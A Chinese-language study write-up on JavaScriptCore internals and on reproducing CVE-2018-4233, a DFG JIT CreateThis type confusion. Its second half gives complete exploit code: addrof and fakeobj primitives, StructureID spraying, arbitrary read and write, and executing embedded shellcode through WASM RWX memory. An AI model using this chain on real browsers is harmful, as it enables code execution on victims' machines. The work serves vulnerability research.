0x00 前言
JavaScriptCore是Apple的WebKit浏览器内核中的JS引擎,最近学习JavaScriptCore引擎的漏洞利用,在此以CVE-2018-4233为例来学习JavaScriptCore引擎的漏洞利用一般思路
0x01 前置知识
JSC引擎执行流程
JSC引擎执行JS代码的流程如下
Lexer:词法分析,提取单词
Parser:语法分析,生成语法树,并从语法树中构建ByteCode
LLInt:Low Level Interpreter执行Parser生成的ByteCode,其代码位于源码树中的llint/文件夹
Baseline JIT: 在函数调用了 6 次,或者某段代码循环了大于100次会触发该引擎进行JIT编译,其编译后的代码仍然为中间码,而不是汇编代码。其代码位于源码树中的jit/文件夹
DFG JIT: 在函数被调用了60次或者代码循环了1000次会触发。DFG是基于控制流图分析的优化器,将低效字节码进行优化并转为机器码。它利用LLInt和Baseline JIT阶段收集的一些信息来优化字节码,消除一些类型检查
等。其代码位于源码树中的dfg/文件夹
FTL: Faster Than Light,更高度的优化,在函数被调用了上千次或者代码循环了数万次会触发。通过一些更加细致的优化算法,将DFG IR进一步优化转为 FTL 里用到的 B3 的 IR,然后生成机器码
可以知道,Baseline JIT->DFG JIT->FTL每一个过程都进行了更加深入的优化,优化一般就是通过类型收集和判断,消除一些不必要的类型检查,并生成机器码,从而可以节省运行时间。由于js是动态类型语言,当类型优化推断错误时,便可以返回上一级,比如DFG JIT优化错误,则返回Baseline JIT运行同时重新进行类型收集以便下一次优化。这个执行过程的转移使用的方法是堆栈替换 on-stack replacement,简称 OSR
。这个技术可以将执行转移到任何 statement 的地方。
clobberWorld
在DFG的遍历优化中,会进行类型收集,如果要之前推断的类型不正确,则调用clobberWorld
函数放弃之前推断信息,如果不调用该函数,那么前面的类型信息继续保留。
JSC断点调试
与V8不同的是,JSC没有提供用于断点调试的js函数,一种简便的方法是在printInternal函数上进行断点
b *printInternal
然后在js代码中调用print,即可断下。如果我们要打印信息,利用debug
函数来打印,因为print
已经被我们拿去断点用了。另一种方法是我们自己在Source/JavaScriptCore/jsc.cpp
源码中增加一个dbg
函数,并在函数中实现int3
指令,然后就能在js中调用。
JSC对象内存模型
首先使用这段代码进行调试,其中describe
函数是用来打印对象结构的,debug
是用于输出文字的,print
用于断点
var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
debug(describe(a));
print();
输出如下
--> Object: 0x7fffaf8ac000 with butterfly (nil) (Structure 0x7fffaf870460:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 297
使用gdb打印对象地址处的内容
pwndbg> x /20gx 0x7fffaf8ac000
0x7fffaf8ac000: 0x0100150000000129 0x0000000000000000
0x7fffaf8ac010: 0x0000000000000000 0xffff000000000001
0x7fffaf8ac020: 0xffff000000000002 0x400299999999999a
0x7fffaf8ac030: 0x00007fffaf8b0100 0xffff000000000003
0x7fffaf8ac040: 0xffff000000000004 0xffff000000000005
0x7fffaf8ac050: 0xffff000000000006 0xffff000000000007
0x7fffaf8ac060: 0xffff000000000008 0xffff000000000009
0x7fffaf8ac070: 0xffff00000000000a 0x0000000000000000
0x7fffaf8ac080: 0x0000000000000000 0x0000000000000000
0x7fffaf8ac090: 0x0000000000000000 0x0000000000000000
可以看到,我们的数据都依次按照顺序存入了对象的内存中,并且可以发现不同类型之间的存储,其最前面有一些标志数据,总结起来如下:
Pointer: [0000][xxxx:xxxx:xxxx](前两个字节为0,后六个字节寻址)
Double: [0001~FFFE][xxxx:xxxx:xxxx]
Integer: [FFFF][0000:xxxx:xxxx](只有低四个字节表示数字)
False: [0000:0000:0000:0006]
True: [0000:0000:0000:0007]
Undefined: [0000:0000:0000:000a]
Null: [0000:0000:0000:0002]
可以发现,对于对象类型,由于标记为0,所以直接存储着的就是指针,而Double和Integer最前面都加了标记。
现在我们将代码修改一下并测试
var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;
debug(describe(a));
print();
打印如下
--> Object: 0x7fffaf8ac000 with butterfly 0x7ff0000fe5a8 (Structure 0x7fffaf870700:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 303
可以看到butterfly
已经不是null了,我们查看一下对象内存
pwndbg> x /30gx 0x7fffaf8ac000
0x7fffaf8ac000: 0x010015040000012f 0x00007ff0000fe5a8
0x7fffaf8ac010: 0x0000000000000003 0xffff000000000001
0x7fffaf8ac020: 0xffff000000000002 0x400299999999999a
0x7fffaf8ac030: 0x00007fffaf8b0100 0xffff000000000003
0x7fffaf8ac040: 0xffff000000000004 0xffff000000000005
0x7fffaf8ac050: 0xffff000000000006 0xffff000000000007
0x7fffaf8ac060: 0xffff000000000008 0xffff000000000009
0x7fffaf8ac070: 0xffff00000000000a 0xffff00000000000b
0x7fffaf8ac080: 0xffff00000000000c 0xffff00000000000d
0x7fffaf8ac090: 0xffff00000000000e 0xffff00000000000f
pwndbg> x /20gx 0x00007ff0000fe5a8
0x7ff0000fe5a8: 0xffff000000000010 0xffff000000000011
0x7ff0000fe5b8: 0x0000000000000000 0x00000000badbeef0
可以看到,butterfly
里存储着数组的元素,而其他属性则仍然存储于对象中,我们称这些为内联属性,因为其存储于对象内部。现在测试代码再修改一下
var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;
a['r'] = 18;
debug(describe(a));
print();
输出如下
--> Object: 0x7fffaf8ac000 with butterfly 0x7fec000f8468 (Structure 0x7fffaf870770:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16, r:100}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 304
pwndbg> x /20gx 0x7fec000f8468-0x10
0x7fec000f8458: 0xffff000000000012 0x0000000300000002
0x7fec000f8468: 0xffff000000000010 0xffff000000000011
可以知道a['r'] = 18;
这句代码,18存储于butterfly
上方,由于其是数组的操作方式,因此其不再归为内联属性,同时我们还注意到butterfly-0x8处的
数据0x0000000300000002
,这代表数组的大小和容量。
总结出JSC的对象结构如下:
其中JSCell是一个结构体,其中有StructureID
等成员,在源码目录中的Tools/gdb/webkit.py
文件是用于gdb调试的脚本插件,我们导入gdb,然后进行调试查看。
pwndbg> p *(JSC::JSCell *)0x7fffaf8b42d0
$2 = {
<JSC::HeapCell> = {<No data fields>},
members of JSC::JSCell:
static StructureFlags = 0,
static needsDestruction = false,
static TypedArrayStorageType = JSC::NotTypedArray,
m_structureID = 284,
m_indexingTypeAndMisc = 0 '\000',
m_type = JSC::FinalObjectType,
m_flags = 0 '\000',
m_cellState = JSC::CellState::DefinitelyWhite
}
其中JSCell
的作用类似于V8中的Map
,用于表示对象类型,与V8不同的是,类型的关键在于JSCell
使用StructureID
来区分类型,StructureID
是一个类似于index
下标的作用,真正的Structure
指针存储在一个StructureTable
中,判断对象的时候通过index从StructureTable
取出Structure
的地址,进而访问Structure
,Structure
表明了对象的原型,对象结构相同则具有相同的StructureID
。
JSC::StructureIDTable::get(JSC::StructureID)
使用如下代码测试
var a = {x:1,y:2};
var b = {x:3,y:4};
var c = {a:5,b:6};
debug(describe(a));
debug(describe(b));
debug(describe(c));
print();
输出如下
--> Object: 0x7fffaf8b42d0 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4300 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4330 with butterfly (nil) (Structure 0x7fffaf8a7e20:[Object, {a:0, b:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 286
可以看到a和b具有相同的StructureID
和Structure
。
伪造对象
从上述可以知道,JSCell
就是一串数值,包含着StructureID
,而不是指针,并且在一些版本中,StructureID
不是随机的,而是按照不同对象创建的顺序递增,因此我们想要伪造数组对象的话,可以先申请N个数组对象,然后稍微添加一个不同的属性,则它们的StructureID
不同,然后我们猜测一个StructureID
,只要确保其很大概率落在已有的这些StructureID
之中即可。
查看优化的数据
与V8中的--trace-turbo
类似的,JSC中提供了-p
选项用于输出profiling data
,里面包含一些优化时的数据、字节码等。profiling data
格式为json,JSC没有提供像V8那样的可视化工具用于查看流图,我们就只能看看JSON数据。
0x02 漏洞分析利用
patch分析
index e7f1585..fc1a7c5 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
+++ b/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2013-2017 Apple Inc. All rights reserved.
+ * Copyright (C) 2013-2018 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
@@ -2274,6 +2274,7 @@ bool AbstractInterpreter<AbstractStateType>::executeEffects(unsigned clobberLimi
}
}
}
+ clobberWorld(node->origin.semantic, clobberLimit);
forNode(node).setType(m_graph, SpecFinalObject);
break;
}
该patch修复了漏洞,patch位于文件Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
中的executeEffects
函数,从文件路径可以知道,这个漏洞与DFG JIT
有关,executeEffects
是当DFG JIT
做优化时处理side Effects
时用的,与v8一个道理,side Effects
即一些潜在的侧链影响,通俗来讲就是判断某个操作是否会影响类型变化,如果会影响,放弃之前的类型推断,如果不影响,继续使用之前的类型。patch位于函数中switch的case CreateThis:
分支,主要就是遍历字节码,遇到CreateThis时,调用clobberWorld
函数放弃前面的类型推断。那么这也就是说,原来的漏洞点在于CreateThis
是存在会影响对象类型的,但是DFG JIT
没有判断出来,这就导致类型混淆。
POC构造
首先,要得到create_this
字节码,使用的是this
function foo() {
this.x = 1;
}
var b = new foo();
print(b.x);
得到的字节码如下
[ 0] enter
[ 1] get_scope loc3
[ 3] mov loc4, loc3
[ 6] check_traps
[ 7] mov loc5, this
[ 10] create_this this, this, 1, 0
[ 15] put_by_id this, x(@id0), Int32: 1(const0), Bottom
[ 24] ret this
可以看到,通过put_by_id
字节码指令将1存入x属性中。现在我们将测试代码稍作修改
function foo(arg) {
this.x = arg[0];
}
var b = new foo([1.1]);
print(b.x);
字节码如下
[ 0] enter
[ 1] get_scope loc3
[ 3] mov loc4, loc3
[ 6] check_traps
[ 7] mov loc5, this
[ 10] create_this this, this, 1, 0
[ 15] mov loc6, this
[ 18] get_by_val loc7, arg1, Int32: 0(const0) Original; predicting None
[ 24] put_by_id loc6, x(@id0), loc7, Bottom
[ 33] ret this
通过get_by_val
字节码指令从数组中取出元素0,然后通过put_by_id
存入属性x中。
现在加入触发DFG JIT优化的代码,再做测试,发现前期Parse以后的字节码是一样的,不同点在于这次存在了DFG JIT时的字节码展开,其中[ 10] create_this this, this, 1, 0和[ 18] get_by_val loc7, arg1, Int32: 0(const0) Original; predicting None
被展开如下
[10]
CountExecution
CheckCell
NewObject
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep
可以知道,CreateThis
被优化为了CheckCell和NewObject
,并且在这种情况下参数arg的类型不可能发生变化,因此在[ 0] enter
使用了CheckStructure
检查一次参数就可以了,这里无需再重复检查。现在,我们尝试为foo
函数增加一个Proxy
代理,这样,使用foo_proxy
对象对foo
进行间接访问时,会被代理拦截,并进入handler
的get
函数中处理。
function foo(arg) {
this.x = arg[0];
}
let handler = {
get(target, prop) {
print(prop);
return target[prop];
}
};
let foo_proxy = new Proxy(foo, handler);
print(foo_proxy.a);
输出如下
root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
a
因为我们通过foo_proxy.a
间接的访问了foo.a
属性,所以被拦截了。那我们使用new foo_proxy()
会发生什么呢?
function foo(arg) {
this.x = arg[0];
}
let handler = {
get(target, prop) {
print(prop);
return target[prop];
}
};
let foo_proxy = new Proxy(foo, handler);
print(new foo_proxy([1.1]));
输出如下
root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
prototype
因为在创建一个对象的时候,是需要用到函数的prototype
这个属性的,它是函数的原型,也是foo的一个自带属性,因此在创建对象时也可以被成功拦截。我们尝试加入DFG JIT
优化,并查看字节码
function foo(arg) {
this.x = arg[0];
}
let handler = {
get(target, prop) {
return target[prop];
}
};
let foo_proxy = new Proxy(foo, handler);
var b;
for (var i=0;i<0x2000;i++) {
b = new foo_proxy([1.1]);
}
print(b.x);
ByteCode仍然一样,不一样的是DFG JIT
的Code
[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep
可以看到,由于我们加入了代理,现在CreateThis
不能再被内联优化,其中CreateThis
的汇编调用代码如下
0x7fffb010016e: mov $0x7fffaff0b4a8, %r11
0x7fffb0100178: mov (%r11), %r11
0x7fffb010017b: test %r11, %r11
0x7fffb010017e: jz 0x7fffb010018b
0x7fffb0100184: mov $0x113, %r11d
0x7fffb010018a: int3
0x7fffb010018b: cmp $0x17, 0x5(%rsi)
0x7fffb010018f: jnz 0x7fffb0100565
0x7fffb0100195: mov 0x28(%rsi), %r8
0x7fffb0100199: test %r8, %r8
0x7fffb010019c: jz 0x7fffb0100565
............................
可以知道其主要是跳转到了0x7fffb0100565
这个地址处,继续跟踪,该地址处的代码
0x7fffb0100565: mov %rax, -0x30(%rbp)
0x7fffb0100569: mov %rsi, -0x38(%rbp)
0x7fffb010056d: mov %rbp, %rdi
0x7fffb0100570: mov $0x1, %edx
0x7fffb0100575: mov $0x7fffaff09898, %r11
0x7fffb010057f: mov $0xbadbeef, (%r11)
0x7fffb0100586: mov $0x7fffaff0989c, %r11
0x7fffb0100590: mov $0xbadbeef, (%r11)
0x7fffb0100597: mov $0x6, 0x24(%rbp)
0x7fffb010059e: mov $0x7ffff6113791, %r11
0x7fffb01005a8: call *%r11
通过调试,可以知道这里调用的函数是operationCreateThis
这个函数,其源码位于文件Source/JavaScriptCore/dfg/DFGOperations.cpp
中
JSC_DEFINE_JIT_OPERATION(operationCreateThis, JSCell*, (JSGlobalObject* globalObject, JSObject* constructor, uint32_t inlineCapacity))
{
VM& vm = globalObject->vm();
CallFrame* callFrame = DECLARE_CALL_FRAME(vm);
JITOperationPrologueCallFrameTracer tracer(vm, callFrame);
auto scope = DECLARE_THROW_SCOPE(vm);
if (constructor->type() == JSFunctionType && jsCast<JSFunction*>(constructor)->canUseAllocationProfile()) {
DeferTermination deferScope(vm);
auto rareData = jsCast<JSFunction*>(constructor)->ensureRareDataAndAllocationProfile(globalObject, inlineCapacity);
scope.releaseAssertNoException();
ObjectAllocationProfileWithPrototype* allocationProfile = rareData->objectAllocationProfile();
Structure* structure = allocationProfile->structure();
JSObject* result = constructEmptyObject(vm, structure);
if (structure->hasPolyProto()) {
JSObject* prototype = allocationProfile->prototype();
ASSERT(prototype == jsCast<JSFunction*>(constructor)->prototypeForConstruction(vm, globalObject));
result->putDirect(vm, knownPolyProtoOffset, prototype);
prototype->didBecomePrototype();
ASSERT_WITH_MESSAGE(!hasIndexedProperties(result->indexingType()), "We rely on JSFinalObject not starting out with an indexing type otherwise we would potentially need to convert to slow put storage");
}
return result;
}
JSValue proto = constructor->get(globalObject, vm.propertyNames->prototype);
RETURN_IF_EXCEPTION(scope, nullptr);
if (proto.isObject())
return constructEmptyObject(globalObject, asObject(proto));
JSGlobalObject* functionGlobalObject = getFunctionRealm(globalObject, constructor);
RETURN_IF_EXCEPTION(scope, nullptr);
return constructEmptyObject(functionGlobalObject);
}
其中的操作SValue proto = constructor->get(globalObject, vm.propertyNames->prototype);
会被我们JS层中的代理拦截,由此可以知道,operationCreateThis
会回调JS层的代理函数。此时我们想到,在JS中的Proxy对象的handler中,我们可以操纵任意的对象,我们可以将参数arg的类型修改掉。于是这样构造
function foo(arg) {
this.x = arg[0];
}
var trigger = false;
var arr = [1.1,2.2];
let handler = {
get(target, prop) {
if (trigger) {
arr[0] = {};
}
return target[prop];
}
};
let foo_proxy = new Proxy(foo, handler);
var b;
for (var i=0;i<0x2000;i++) {
b = new foo_proxy(arr);
}
trigger = true;
b = new foo_proxy(arr);
print(b.x);
这样,当CreateThis
回调了handler
中的get函数时,arr[0] = {}
将arr的类型改为了对象数组类型,不再是unboxed double
,但是CreateThis
回调结束以后,并没有重新对arg进行类型检查,仍然将其当做unboxed double
类型,由此造成了类型混淆。
运行结果如下,成功输出对象的地址
root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
6.9532879215489e-310
修复漏洞以后的版本,其DFG JIT的字节码展开如下
[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
CheckStructure
GetButterfly
GetByVal
MovHint
ValueRep
可以看到,其在CreateThis
后面增加了一个CheckStructure
,从而避免了类型混淆。
漏洞利用
fakeObj和addressOf原语构造
通过上述分析,我们很容易构造出两个原语
function addressOf(obj) {
function foo(arg) {
this.x = arg[0];
}
var handler = {
get(target,prop) {
if (trigger) {
arr[0] = obj;
}
return target[prop];
}
};
var foo_proxy = new Proxy(foo,handler);
var arr = [1.1,2.2,3.3];
var trigger = false;
for (var i = 0; i < 0x2000; i++) {
new foo_proxy(arr);
}
trigger = true;
var ret = new foo_proxy(arr);
return u64f(ret.x);
}
function fakeObject(addr_l,addr_h) {
var addr = p64f(addr_l,addr_h);
function foo(arr) {
arr[0] = addr;
}
var handler = {
get(target,prop) {
if (trigger) {
arr[0] = {};
}
return target[prop];
}
};
var foo_proxy = new Proxy(foo,handler);
var arr = [1.1,2.2,3.3];
var trigger = false;
for (var i = 0;i < 0x2000; i++) {
new foo_proxy(arr);
}
trigger = true;
new foo_proxy(arr);
return arr[0];
}
堆喷StructureID
为了伪造一个数组对象,首先得拿到数组对象的StructureID,由于其是一串数字,并且对数组对象增加不同的属性即可使得StructureID不同,依次递增,因此,我们申请一些列不同原型的数组对象,然后随便猜测一个StructureID
//制造N个对象,每个对象产生不一样的Structures,使得我们可以猜测一个可用的StructuresID
var structs = [];
function sprayStructures() {
var fake_elements_header = p64f(0,0);
for (var i = 0; i < 1000; i++) {
var a = {x:1,y:2};
for (var j=0;j<0xffff;j++)
a[j] = 23.33;
a['x' + i] = fake_elements_header;
a.prop = 1.1;
structs.push(a);
}
}
sprayStructures();
伪造数组对象
var victim = structs[0x300];
var jscell_double = p64f(0x00000200,0x01082007);
//对象的内存地址必须对齐,因此我们增加一个padding
var container = {
padding:1.1,
jscell:jscell_double,
butterfly:victim,
butterflyIndexingMask:p64f(0x11111111,0x0)
}
var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x20,container_addr[1]);
这里,我们将butterfly直接指向了victim,由于是对象,因此存储的是指针,所以通过hax
,我们可以控制victim
对象的整个结构,victim同样也是一个数组,我们这样做的目的是避免多次通过fakeObject
和addressOf
来伪造对象,因为这比较耗时并且可能影响内存布局,我们只需第一次伪造一个对象能够控制已有的对象,后面就可以方便操作,同样我们利用has和victim重新构造一个快速的NewAddressOf
和NewFakeObject
// ArrayWithDouble
//var unboxed = [6.66,6.66,6.66];
var unboxed = structs[0x301];
var a = {x:1,y:2};
//for (var j=0;j<0xffff;j++)
//a[j] = 23.33;
a['x0'] = p64f(0,0);
// ArrayWithContiguous
var boxed = {x:1,y:2};
boxed[0] = {};
//让boxed和unboxed的Butterfly为同一地址
var d = addressOf(unboxed);
hax[1] = p64f(d[0],d[1]);
var sharedButterfly = victim[1];
d = addressOf(boxed);
hax[1] = p64f(d[0],d[1]);
victim[1] = sharedButterfly;
debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));
function NewAddressOf(obj) {
boxed[0] = obj;
return u64f(unboxed[0]);
}
function NewFakeObject(addr_l,addr_h) {
var addr = p64f(addr_l,addr_h);
unboxed[0] = addr;
return boxed[0];
}
构造read64和write64原语
function read64(addr_l,addr_h,index = 0) {
//必须保证在vicim[-1]处有数据,即used slots和max slots字段,否则将导致读取失败
//因此我们换用另一种方法,即利用property去访问
hax[1] = p64f(addr_l + 0x10,addr_h);
return NewAddressOf(victim.prop);
}
function write64(addr_l,addr_h,double_val) {
hax[1] = p64f(addr_l + 0x10,addr_h);
victim.prop = double_val;
}
这里,我们不使用数组的方式去实现任意地址读写,因为数组的方式需要保证used slots和max slots字段
满足要求,任意地址处不可能一直满足这个要求,因此我们使用外属性的方式,前面介绍过,这种外部属性就存储于butterfly
前面,使用read的时候,最后需要加上NewAddressOf
进行转换,因为属性的存储是按照前面介绍的这个
Pointer: [0000][xxxx:xxxx:xxxx](前两个字节为0,后六个字节寻址)
Double: [0001~FFFE][xxxx:xxxx:xxxx]
Integer: [FFFF][0000:xxxx:xxxx](只有低四个字节表示数字)
False: [0000:0000:0000:0006]
True: [0000:0000:0000:0007]
Undefined: [0000:0000:0000:000a]
Null: [0000:0000:0000:0002]
方式存储的,显然我们读取的数据不满足这个要求,直接使用victim.prop返回的值会导致崩溃,当我们需要读取的数据是一些地址的时候,由于地址往往就48位,因此其高2字节为0,此时这个数据会被当成一个对象地址,因此为了拿到这个值,需要加上一层NewAddressOf
,同理,在write64的时候如果写入的数据高2字节为0,需要加上一层NewFakeObject
,由于我们写入的是double,就不需要,但是double数据会导致第7个字节的低4位为1,因此,我们不能一次性写入8个字节的完好数据,但是我们可以保证低4字节的数据被正确写入到目标处,因此,我们只需将数据拆分为4字节一组,然后包装为8字节的double,即可依次将数据完整的写入。
劫持WASM,写shellcode
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var funcObj_addr = addressOf(func);
var codeAddr = read64(funcObj_addr[0] + 0x48,funcObj_addr[1],1);
var rwx_addr = read64(codeAddr[0],codeAddr[1],1);
debug("funcObj_addr=" + funcObj_addr[1].toString(16) + funcObj_addr[0].toString(16));
debug("codeAddr=" + codeAddr[1].toString(16) + codeAddr[0].toString(16));
debug("rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));
//替换jit的shellcode
for (var i=0;i<shellcode.length;i++) {
write64(rwx_addr[0] + i*4,rwx_addr[1],p64f(shellcode[i],0));
}
//执行shellcode
func();
成功利用
0x03 感想
JSC的漏洞利用本质上与V8的漏洞利用相似,分析方法也类似,这些JS引擎的漏洞挖掘方法大多有着共同点。通过本次复现,又收获了许多新知识。
0x04 参考
FireShell2020——从一道ctf题入门jsc利用
Webkit Exploitation Tutorial
wiki JavaScriptCore
【编译原理】中间代码(一)
深入剖析 JavaScriptCore
Attacking Client-Side JIT Compilers (v2) Samuel Groß (@5aelo)
JavaScriptCore内部原理(一):从JS源码到字节码的追踪
WebKit commitdiff